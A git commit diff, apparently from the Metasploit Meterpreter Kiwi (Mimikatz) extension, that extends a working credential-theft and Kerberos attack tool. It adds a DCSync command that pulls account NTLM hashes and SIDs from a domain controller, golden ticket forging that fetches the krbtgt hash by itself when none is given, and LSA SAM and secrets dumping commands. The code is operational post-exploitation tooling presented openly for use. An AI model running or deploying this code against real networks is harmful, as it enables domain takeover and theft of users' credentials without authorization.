Continue work on enabling kiwi functionality
parent
609c8da772
commit
0bca485858
|
@ -22,43 +22,6 @@ module Kiwi
|
||||||
|
|
||||||
class Kiwi < Extension
|
class Kiwi < Extension
|
||||||
|
|
||||||
#
|
|
||||||
# These are constants that identify the type of credential to dump
|
|
||||||
# from the target machine.
|
|
||||||
#
|
|
||||||
PWD_ID_SEK_ALLPASS = 0
|
|
||||||
PWD_ID_SEK_WDIGEST = 1
|
|
||||||
PWD_ID_SEK_MSV = 2
|
|
||||||
PWD_ID_SEK_KERBEROS = 3
|
|
||||||
PWD_ID_SEK_TSPKG = 4
|
|
||||||
PWD_ID_SEK_LIVESSP = 5
|
|
||||||
PWD_ID_SEK_SSP = 6
|
|
||||||
PWD_ID_SEK_DPAPI = 7
|
|
||||||
|
|
||||||
#
|
|
||||||
# List of names which represent the flags that are part of the
|
|
||||||
# dumped kerberos tickets. The order of these is important. Each
|
|
||||||
# of them was pulled from the Mimikatz 2.0 source base.
|
|
||||||
#
|
|
||||||
KERBEROS_FLAGS = [
|
|
||||||
"NAME CANONICALIZE",
|
|
||||||
"<unknown>",
|
|
||||||
"OK AS DELEGATE",
|
|
||||||
"<unknown>",
|
|
||||||
"HW AUTHENT",
|
|
||||||
"PRE AUTHENT",
|
|
||||||
"INITIAL",
|
|
||||||
"RENEWABLE",
|
|
||||||
"INVALID",
|
|
||||||
"POSTDATED",
|
|
||||||
"MAY POSTDATE",
|
|
||||||
"PROXY",
|
|
||||||
"PROXIABLE",
|
|
||||||
"FORWARDED",
|
|
||||||
"FORWARDABLE",
|
|
||||||
"RESERVED"
|
|
||||||
].map(&:freeze).freeze
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Typical extension initialization routine.
|
# Typical extension initialization routine.
|
||||||
#
|
#
|
||||||
|
@ -73,6 +36,10 @@ class Kiwi < Extension
|
||||||
'ext' => self
|
'ext' => self
|
||||||
},
|
},
|
||||||
])
|
])
|
||||||
|
|
||||||
|
# by default, we want all output in base64, so fire that up
|
||||||
|
# first so that everything uses this down the track
|
||||||
|
exec_cmd('base64')
|
||||||
end
|
end
|
||||||
|
|
||||||
def exec_cmd(cmd)
|
def exec_cmd(cmd)
|
||||||
|
@ -80,7 +47,40 @@ class Kiwi < Extension
|
||||||
request.add_tlv(TLV_TYPE_KIWI_CMD, cmd)
|
request.add_tlv(TLV_TYPE_KIWI_CMD, cmd)
|
||||||
response = client.send_request(request)
|
response = client.send_request(request)
|
||||||
output = response.get_tlv_value(TLV_TYPE_KIWI_CMD_RESULT)
|
output = response.get_tlv_value(TLV_TYPE_KIWI_CMD_RESULT)
|
||||||
output[output.index(cmd) + cmd.length + 1, output.length]
|
# remove the banner up to the prompt
|
||||||
|
output = output[output.index('mimikatz(powershell) #') + 1, output.length]
|
||||||
|
# return everything past the newline from here
|
||||||
|
output[output.index("\n") + 1, output.length]
|
||||||
|
end
|
||||||
|
|
||||||
|
def dcsync(domain_user)
|
||||||
|
exec_cmd("\"lsadump::dcsync /user:#{domain_user}\"")
|
||||||
|
end
|
||||||
|
|
||||||
|
def dcsync_ntlm(domain_user)
|
||||||
|
result = {
|
||||||
|
ntlm: '<NOT FOUND>',
|
||||||
|
lm: '<NOT FOUND>',
|
||||||
|
sid: '<NOT FOUND>',
|
||||||
|
rid: '<NOT FOUND>'
|
||||||
|
}
|
||||||
|
|
||||||
|
output = dcsync(domain_user)
|
||||||
|
return nil unless output.include?('Object RDN')
|
||||||
|
|
||||||
|
output.lines.map(&:strip).each do |l|
|
||||||
|
if l.start_with?('Hash NTLM: ')
|
||||||
|
result[:ntlm] = l.split(' ')[-1]
|
||||||
|
elsif l.start_with?('lm - 0:')
|
||||||
|
result[:lm] = l.split(' ')[-1]
|
||||||
|
elsif l.start_with?('Object Security ID')
|
||||||
|
result[:sid] = l.split(' ')[-1]
|
||||||
|
elsif l.start_with?('Object Relative ID')
|
||||||
|
result[:rid] = l.split(' ')[-1]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
result
|
||||||
end
|
end
|
||||||
|
|
||||||
def lsa_dump_secrets
|
def lsa_dump_secrets
|
||||||
|
@ -257,112 +257,13 @@ class Kiwi < Extension
|
||||||
return nil, nil
|
return nil, nil
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Dump the LSA secrets from the target machine.
|
|
||||||
#
|
|
||||||
# @return [Hash<Symbol,Object>]
|
|
||||||
def lsa_dump
|
|
||||||
request = Packet.create_request('kiwi_lsa_dump_secrets')
|
|
||||||
|
|
||||||
response = client.send_request(request)
|
|
||||||
|
|
||||||
result = {
|
|
||||||
:major => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MAJ),
|
|
||||||
:minor => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MIN),
|
|
||||||
:compname => response.get_tlv_value(TLV_TYPE_KIWI_LSA_COMPNAME),
|
|
||||||
:syskey => response.get_tlv_value(TLV_TYPE_KIWI_LSA_SYSKEY),
|
|
||||||
:nt5key => response.get_tlv_value(TLV_TYPE_KIWI_LSA_NT5KEY),
|
|
||||||
:nt6keys => [],
|
|
||||||
:secrets => [],
|
|
||||||
:samkeys => []
|
|
||||||
}
|
|
||||||
|
|
||||||
response.each(TLV_TYPE_KIWI_LSA_NT6KEY) do |k|
|
|
||||||
result[:nt6keys] << {
|
|
||||||
:id => k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYID),
|
|
||||||
:value => k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYVALUE)
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
response.each(TLV_TYPE_KIWI_LSA_SECRET) do |s|
|
|
||||||
result[:secrets] << {
|
|
||||||
:name => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NAME),
|
|
||||||
:service => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_SERV),
|
|
||||||
:ntlm => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NTLM),
|
|
||||||
:current => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR),
|
|
||||||
:current_raw => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW),
|
|
||||||
:old => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD),
|
|
||||||
:old_raw => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW)
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
response.each(TLV_TYPE_KIWI_LSA_SAM) do |s|
|
|
||||||
result[:samkeys] << {
|
|
||||||
:rid => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_RID),
|
|
||||||
:user => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_USER),
|
|
||||||
:ntlm_hash => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_NTLMHASH),
|
|
||||||
:lm_hash => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_LMHASH)
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
result
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Convert a flag set to a list of string representations for the bit flags
|
|
||||||
# that are set.
|
|
||||||
#
|
|
||||||
# @param flags [Fixnum] Integer bitmask of Kerberos token flags.
|
|
||||||
#
|
|
||||||
# @return [Array<String>] Names of all set flags in +flags+. See
|
|
||||||
# {KERBEROS_FLAGS}
|
|
||||||
def to_kerberos_flag_list(flags)
|
|
||||||
flags = flags >> 16
|
|
||||||
results = []
|
|
||||||
|
|
||||||
KERBEROS_FLAGS.each_with_index do |item, idx|
|
|
||||||
if (flags & (1 << idx)) != 0
|
|
||||||
results << item
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
results
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# List available kerberos tickets.
|
# List available kerberos tickets.
|
||||||
#
|
#
|
||||||
# @param export [Bool] Set to +true+ to export the content of each ticket
|
# @return [String]
|
||||||
#
|
#
|
||||||
# @return [Array<Hash>]
|
def kerberos_ticket_list
|
||||||
#
|
exec_cmd('kerberos::list')
|
||||||
def kerberos_ticket_list(export)
|
|
||||||
result = exec_cmd('kerberos::list')
|
|
||||||
# TODO figure out the structure and parse it
|
|
||||||
return result
|
|
||||||
export ||= false
|
|
||||||
request = Packet.create_request('kiwi_kerberos_ticket_list')
|
|
||||||
request.add_tlv(TLV_TYPE_KIWI_KERB_EXPORT, export)
|
|
||||||
response = client.send_request(request)
|
|
||||||
|
|
||||||
results = []
|
|
||||||
|
|
||||||
response.each(TLV_TYPE_KIWI_KERB_TKT) do |t|
|
|
||||||
results << {
|
|
||||||
:enc_type => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_ENCTYPE),
|
|
||||||
:start => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_START),
|
|
||||||
:end => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_END),
|
|
||||||
:max_renew => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_MAXRENEW),
|
|
||||||
:server => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERNAME),
|
|
||||||
:server_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERREALM),
|
|
||||||
:client => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTNAME),
|
|
||||||
:client_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTREALM),
|
|
||||||
:flags => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_FLAGS),
|
|
||||||
:raw => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW)
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
results
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -373,10 +274,8 @@ class Kiwi < Extension
|
||||||
# @return [void]
|
# @return [void]
|
||||||
#
|
#
|
||||||
def kerberos_ticket_use(ticket)
|
def kerberos_ticket_use(ticket)
|
||||||
request = Packet.create_request('kiwi_kerberos_ticket_use')
|
base64_content = Rex::Text.encode(ticket)
|
||||||
request.add_tlv(TLV_TYPE_KIWI_KERB_TKT_RAW, ticket, false, true)
|
true
|
||||||
client.send_request(request)
|
|
||||||
return true
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -386,35 +285,61 @@ class Kiwi < Extension
|
||||||
#
|
#
|
||||||
def kerberos_ticket_purge
|
def kerberos_ticket_purge
|
||||||
result = exec_cmd('kerberos::purge').strip
|
result = exec_cmd('kerberos::purge').strip
|
||||||
return 'Ticket(s) purge for current session is OK' == result
|
'Ticket(s) purge for current session is OK' == result
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Create a new golden kerberos ticket on the target machine and return it.
|
# Create a new golden kerberos ticket on the target machine and return it.
|
||||||
#
|
#
|
||||||
# @param user [String] Name of the user to create the ticket for.
|
# @param opts[:user] [String] Name of the user to create the ticket for.
|
||||||
# @param domain [String] Domain name.
|
# @param opts[:domain_name] [String] Domain name.
|
||||||
# @param sid [String] SID of the domain.
|
# @param opts[:domain_sid] [String] SID of the domain.
|
||||||
# @param tgt [String] The kerberos ticket granting token.
|
# @param opts[:krbtgt_hash] [String] The kerberos ticket granting token.
|
||||||
# @param id [Fixnum] ID of the user to grant the token for.
|
# @param opts[:id] [Fixnum] ID of the user to grant the token for.
|
||||||
# @param group_ids [Array<Fixnum>] IDs of the groups to assign to the user
|
# @param opts[:group_ids] [Array<Fixnum>] IDs of the groups to assign to the user
|
||||||
#
|
#
|
||||||
# @return [String]
|
# @return [Array<Byte>]
|
||||||
#
|
#
|
||||||
def golden_ticket_create(user, domain, sid, tgt, id = 0, group_ids = [])
|
def golden_ticket_create(opts={})
|
||||||
request = Packet.create_request('kiwi_kerberos_golden_ticket_create')
|
cmd = [
|
||||||
request.add_tlv(TLV_TYPE_KIWI_GOLD_USER, user)
|
"\"kerberos::golden /user:",
|
||||||
request.add_tlv(TLV_TYPE_KIWI_GOLD_DOMAIN, domain)
|
opts[:user],
|
||||||
request.add_tlv(TLV_TYPE_KIWI_GOLD_SID, sid)
|
" /domain:",
|
||||||
request.add_tlv(TLV_TYPE_KIWI_GOLD_TGT, tgt)
|
opts[:domain_name],
|
||||||
request.add_tlv(TLV_TYPE_KIWI_GOLD_USERID, id)
|
" /sid:",
|
||||||
|
opts[:domain_sid],
|
||||||
|
" /krbtgt:",
|
||||||
|
opts[:krbtgt_hash],
|
||||||
|
"\""
|
||||||
|
].join('')
|
||||||
|
|
||||||
group_ids.each do |g|
|
if opts[:id]
|
||||||
request.add_tlv(TLV_TYPE_KIWI_GOLD_GROUPID, g)
|
cmd << " /id:" + opts[:id].to_s
|
||||||
end
|
end
|
||||||
|
|
||||||
response = client.send_request(request)
|
if opts[:group_ids]
|
||||||
return response.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW)
|
cmd << " /groups:" + opts[:group_ids]
|
||||||
|
end
|
||||||
|
|
||||||
|
output = exec_cmd(cmd)
|
||||||
|
|
||||||
|
return nil unless output.include?('Base64 of file')
|
||||||
|
|
||||||
|
saving = false
|
||||||
|
content = []
|
||||||
|
output.lines.each do |l|
|
||||||
|
if l.start_with?('Base64 of file')
|
||||||
|
saving = true
|
||||||
|
elsif saving
|
||||||
|
if l.start_with?('====')
|
||||||
|
next if content.length == 0
|
||||||
|
break
|
||||||
|
end
|
||||||
|
content << l
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
Rex::Text.decode_base64(content[1, content.length].join(''))
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -47,8 +47,8 @@ class Console::CommandDispatcher::Kiwi
|
||||||
print_line
|
print_line
|
||||||
|
|
||||||
if client.arch == ARCH_X86 and client.sys.config.sysinfo['Architecture'] == ARCH_X64
|
if client.arch == ARCH_X86 and client.sys.config.sysinfo['Architecture'] == ARCH_X64
|
||||||
print_line
|
|
||||||
print_warning('Loaded x86 Kiwi on an x64 architecture.')
|
print_warning('Loaded x86 Kiwi on an x64 architecture.')
|
||||||
|
print_line
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -58,6 +58,8 @@ class Console::CommandDispatcher::Kiwi
|
||||||
def commands
|
def commands
|
||||||
{
|
{
|
||||||
'kiwi_cmd' => 'Execute an arbitary mimikatz command (unparsed)',
|
'kiwi_cmd' => 'Execute an arbitary mimikatz command (unparsed)',
|
||||||
|
'dcsync' => 'Retrieve user account information via DCSync (unparsed)',
|
||||||
|
'dcsync_ntlm' => 'Retrieve user account NTLM hash, SID and RID via DCSync',
|
||||||
'creds_wdigest' => 'Retrieve WDigest creds (parsed)',
|
'creds_wdigest' => 'Retrieve WDigest creds (parsed)',
|
||||||
'creds_msv' => 'Retrieve LM/NTLM creds (parsed)',
|
'creds_msv' => 'Retrieve LM/NTLM creds (parsed)',
|
||||||
#'creds_livessp' => 'Retrieve LiveSSP creds',
|
#'creds_livessp' => 'Retrieve LiveSSP creds',
|
||||||
|
@ -65,11 +67,12 @@ class Console::CommandDispatcher::Kiwi
|
||||||
'creds_tspkg' => 'Retrieve TsPkg creds (parsed)',
|
'creds_tspkg' => 'Retrieve TsPkg creds (parsed)',
|
||||||
'creds_kerberos' => 'Retrieve Kerberos creds (parsed)',
|
'creds_kerberos' => 'Retrieve Kerberos creds (parsed)',
|
||||||
'creds_all' => 'Retrieve all credentials (parsed)',
|
'creds_all' => 'Retrieve all credentials (parsed)',
|
||||||
#'golden_ticket_create' => 'Create a golden kerberos ticket',
|
'golden_ticket_create' => 'Create a golden kerberos ticket',
|
||||||
#'kerberos_ticket_use' => 'Use a kerberos ticket',
|
'kerberos_ticket_use' => 'Use a kerberos ticket',
|
||||||
'kerberos_ticket_purge' => 'Purge any in-use kerberos tickets',
|
'kerberos_ticket_purge' => 'Purge any in-use kerberos tickets',
|
||||||
'kerberos_ticket_list' => 'List all kerberos tickets',
|
'kerberos_ticket_list' => 'List all kerberos tickets (unparsed)',
|
||||||
'lsa_dump_secrets' => 'Dump LSA secrets (unparsed)',
|
'lsa_dump_secrets' => 'Dump LSA secrets (unparsed)',
|
||||||
|
'lsa_dump_sam' => 'Dump LSA SAM (unparsed)',
|
||||||
'wifi_list' => 'List wifi profiles/creds',
|
'wifi_list' => 'List wifi profiles/creds',
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
@ -79,28 +82,62 @@ class Console::CommandDispatcher::Kiwi
|
||||||
print_line(output)
|
print_line(output)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def cmd_dcsync(*args)
|
||||||
|
return unless check_is_domain_user
|
||||||
|
|
||||||
|
print_line(client.kiwi.dcsync(args[0]))
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_dcsync_ntlm(*args)
|
||||||
|
return unless check_is_domain_user
|
||||||
|
|
||||||
|
user = args[0]
|
||||||
|
result = client.kiwi.dcsync_ntlm(user)
|
||||||
|
if result
|
||||||
|
print_good("Account : #{user}")
|
||||||
|
print_good("NTLM Hash : #{result[:ntlm]}")
|
||||||
|
print_good("LM Hash : #{result[:lm]}")
|
||||||
|
print_good("SID : #{result[:sid]}")
|
||||||
|
print_good("RID : #{result[:rid]}")
|
||||||
|
else
|
||||||
|
print_error("Failed to retrieve information for #{user}")
|
||||||
|
end
|
||||||
|
print_line
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Invoke the LSA secret dump on thet target.
|
# Invoke the LSA secret dump on thet target.
|
||||||
#
|
#
|
||||||
def cmd_lsa_dump_secrets(*args)
|
def cmd_lsa_dump_secrets(*args)
|
||||||
check_privs
|
return unless check_is_system
|
||||||
|
|
||||||
print_status('Dumping LSA secrets')
|
print_status('Dumping LSA secrets')
|
||||||
print_line(client.kiwi.lsa_dump_secrets)
|
print_line(client.kiwi.lsa_dump_secrets)
|
||||||
print_line
|
print_line
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Invoke the LSA SAM dump on thet target.
|
||||||
|
#
|
||||||
|
def cmd_lsa_dump_sam(*args)
|
||||||
|
return unless check_is_system
|
||||||
|
|
||||||
|
print_status('Dumping SAM')
|
||||||
|
print_line(client.kiwi.lsa_dump_sam)
|
||||||
|
print_line
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Valid options for the golden ticket creation functionality.
|
# Valid options for the golden ticket creation functionality.
|
||||||
#
|
#
|
||||||
@@golden_ticket_create_opts = Rex::Parser::Arguments.new(
|
@@golden_ticket_create_opts = Rex::Parser::Arguments.new(
|
||||||
'-h' => [ false, 'Help banner' ],
|
'-h' => [ false, 'Help banner' ],
|
||||||
'-u' => [ true, 'Name of the user to create the ticket for' ],
|
'-u' => [ true, 'Name of the user to create the ticket for (required)' ],
|
||||||
'-i' => [ true, 'ID of the user to associate the ticket with' ],
|
'-i' => [ true, 'ID of the user to associate the ticket with' ],
|
||||||
'-g' => [ true, 'Comma-separated list of group identifiers to include (eg: 501,502)' ],
|
'-g' => [ true, 'Comma-separated list of group identifiers to include (eg: 501,502)' ],
|
||||||
'-d' => [ true, 'Name of the target domain (FQDN)' ],
|
'-d' => [ true, 'FQDN of the target domain (required)' ],
|
||||||
'-k' => [ true, 'krbtgt domain user NTLM hash' ],
|
'-k' => [ true, 'krbtgt domain user NTLM hash' ],
|
||||||
'-t' => [ true, 'Local path of the file to store the ticket in' ],
|
'-t' => [ true, 'Local path of the file to store the ticket in (required)' ],
|
||||||
'-s' => [ true, 'SID of the domain' ]
|
'-s' => [ true, 'SID of the domain' ]
|
||||||
)
|
)
|
||||||
|
|
||||||
|
@ -118,51 +155,72 @@ class Console::CommandDispatcher::Kiwi
|
||||||
# Invoke the golden kerberos ticket creation functionality on the target.
|
# Invoke the golden kerberos ticket creation functionality on the target.
|
||||||
#
|
#
|
||||||
def cmd_golden_ticket_create(*args)
|
def cmd_golden_ticket_create(*args)
|
||||||
|
return unless check_is_domain_user
|
||||||
|
|
||||||
if args.include?("-h")
|
if args.include?("-h")
|
||||||
golden_ticket_create_usage
|
golden_ticket_create_usage
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
user = nil
|
target_file = nil
|
||||||
domain = nil
|
opts = {
|
||||||
sid = nil
|
user: nil,
|
||||||
tgt = nil
|
domain_name: nil,
|
||||||
target = nil
|
domain_sid: nil,
|
||||||
id = 0
|
krbtgt_hash: nil,
|
||||||
group_ids = []
|
user_id: nil,
|
||||||
|
group_ids: nil
|
||||||
|
}
|
||||||
|
|
||||||
@@golden_ticket_create_opts.parse(args) { |opt, idx, val|
|
@@golden_ticket_create_opts.parse(args) { |opt, idx, val|
|
||||||
case opt
|
case opt
|
||||||
when '-u'
|
when '-u'
|
||||||
user = val
|
opts[:user] = val
|
||||||
when '-d'
|
when '-d'
|
||||||
domain = val
|
opts[:domain_name] = val
|
||||||
when '-k'
|
when '-k'
|
||||||
tgt = val
|
opts[:krbtgt_hash] = val
|
||||||
when '-t'
|
when '-t'
|
||||||
target = val
|
target_file = val
|
||||||
when '-i'
|
when '-i'
|
||||||
id = val.to_i
|
opts[:user_id] = val.to_i
|
||||||
when '-g'
|
when '-g'
|
||||||
group_ids = val.split(',').map { |g| g.to_i }.to_a
|
opts[:group_ids] = val
|
||||||
when '-s'
|
when '-s'
|
||||||
sid = val
|
opts[:domain_sid] = val
|
||||||
end
|
end
|
||||||
}
|
}
|
||||||
|
|
||||||
# all parameters are required
|
# we need the user and domain at the very least
|
||||||
unless user && domain && sid && tgt && target
|
unless opts[:user] && opts[:domain_name] && target_file
|
||||||
golden_ticket_create_usage
|
golden_ticket_create_usage
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
ticket = client.kiwi.golden_ticket_create(user, domain, sid, tgt, id, group_ids)
|
# is anything else missing?
|
||||||
|
unless opts[:domain_sid] && opts[:krbtgt_hash]
|
||||||
|
# let's go discover it
|
||||||
|
krbtgt_username = opts[:user].split('\\')[0] + '\\krbtgt'
|
||||||
|
dcsync_result = client.kiwi.dcsync_ntlm(krbtgt_username)
|
||||||
|
unless opts[:krbtgt_hash]
|
||||||
|
opts[:krbtgt_hash] = dcsync_result[:ntlm]
|
||||||
|
print_warning("NTLM hash for krbtgt missing, using #{opts[:krbtgt_hash]} extracted from #{krbtgt_username}")
|
||||||
|
end
|
||||||
|
|
||||||
::File.open( target, 'wb' ) do |f|
|
unless opts[:domain_sid]
|
||||||
|
domain_sid = dcsync_result[:sid].split('-')
|
||||||
|
opts[:domain_sid] = domain_sid[0, domain_sid.length - 1].join('-')
|
||||||
|
print_warning("Domain SID missing, using #{opts[:domain_sid]} extracted from SID of #{krbtgt_username}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
ticket = client.kiwi.golden_ticket_create(opts)
|
||||||
|
|
||||||
|
::File.open(target_file, 'wb') do |f|
|
||||||
f.write(ticket)
|
f.write(ticket)
|
||||||
end
|
end
|
||||||
|
|
||||||
print_good("Golden Kerberos ticket written to #{target}")
|
print_good("Golden Kerberos ticket written to #{target_file}")
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -208,6 +266,7 @@ class Console::CommandDispatcher::Kiwi
|
||||||
}
|
}
|
||||||
|
|
||||||
tickets = client.kiwi.kerberos_ticket_list(export)
|
tickets = client.kiwi.kerberos_ticket_list(export)
|
||||||
|
print_line(tickets)
|
||||||
|
|
||||||
fields = ['Server', 'Client', 'Start', 'End', 'Max Renew', 'Flags']
|
fields = ['Server', 'Client', 'Start', 'End', 'Max Renew', 'Flags']
|
||||||
fields << 'Export Path' if export
|
fields << 'Export Path' if export
|
||||||
|
@ -387,23 +446,25 @@ class Console::CommandDispatcher::Kiwi
|
||||||
|
|
||||||
protected
|
protected
|
||||||
|
|
||||||
def check_privs
|
def check_is_domain_user
|
||||||
if system_check
|
if client.sys.config.is_system?
|
||||||
print_good('Running as SYSTEM')
|
print_warning('Running as SYSTEM, function will not work.')
|
||||||
else
|
|
||||||
print_warning('Not running as SYSTEM, execution may fail')
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def system_check
|
|
||||||
unless client.sys.config.is_system?
|
|
||||||
print_warning('Not currently running as SYSTEM')
|
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_is_system
|
||||||
|
if client.sys.config.is_system?
|
||||||
|
print_good('Running as SYSTEM')
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
print_warning('Not running as SYSTEM, execution may fail')
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Invoke the password scraping routine on the target.
|
# Invoke the password scraping routine on the target.
|
||||||
#
|
#
|
||||||
|
@ -420,7 +481,7 @@ protected
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
check_privs
|
return unless check_is_system
|
||||||
print_status("Retrieving #{provider} credentials")
|
print_status("Retrieving #{provider} credentials")
|
||||||
accounts = method.call
|
accounts = method.call
|
||||||
output = ""
|
output = ""
|
||||||
|
|
Loading…
Reference in New Issue